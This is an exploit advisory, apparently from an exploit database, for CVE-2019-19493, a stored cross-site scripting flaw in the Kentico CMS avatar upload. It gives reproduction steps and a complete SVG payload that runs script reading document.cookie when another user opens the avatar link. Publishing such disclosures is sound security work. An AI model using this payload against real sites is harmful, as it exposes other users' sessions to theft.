# Exploit Author: Ataberk YAVUZER
# CVE: CVE-2019-19493
# Type: Webapps
# Vendor Homepage: https://www.kentico.com/
# Version: 9.0-12.0.49
# Date: 29-11-2019
#CVE Details: https://nvd.nist.gov/vuln/detail/CVE-2019-19493
Details
Persistent Cross Site Scripting vulnerability has been found on
the
Admin/User Panel. Kentico before 12.0.50 allows file uploads in
which the
Content-Type header is inconsistent with the file extension,
leading to XSS.
# Steps to reproduce
1. Log in to Kentico Admin Panel with your credentials.
2. Browse to Profile Page.
3. Click to "Browse" button on Avatar section.
4. Select "avatar.svg" file which can be found on below.
5. Intercept the request before clicking to save button.
6. Change file name to "avatar.svg.png" and send the request.
(MimeType
needs to be "image/xml+svg")
7. Kentico will generate an avatar link: "
http://example.kentico.com/admin/CMSPages/GetAvatar.aspx?avatarguid=<generated_avatar_uid>"
Send that link to another user.
8. An alert with cookie values will pop up.
#Content of the avatar.svg:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg xmlns="http://www.w3.org/2000/svg"
onload="alert(document.cookie)"/>
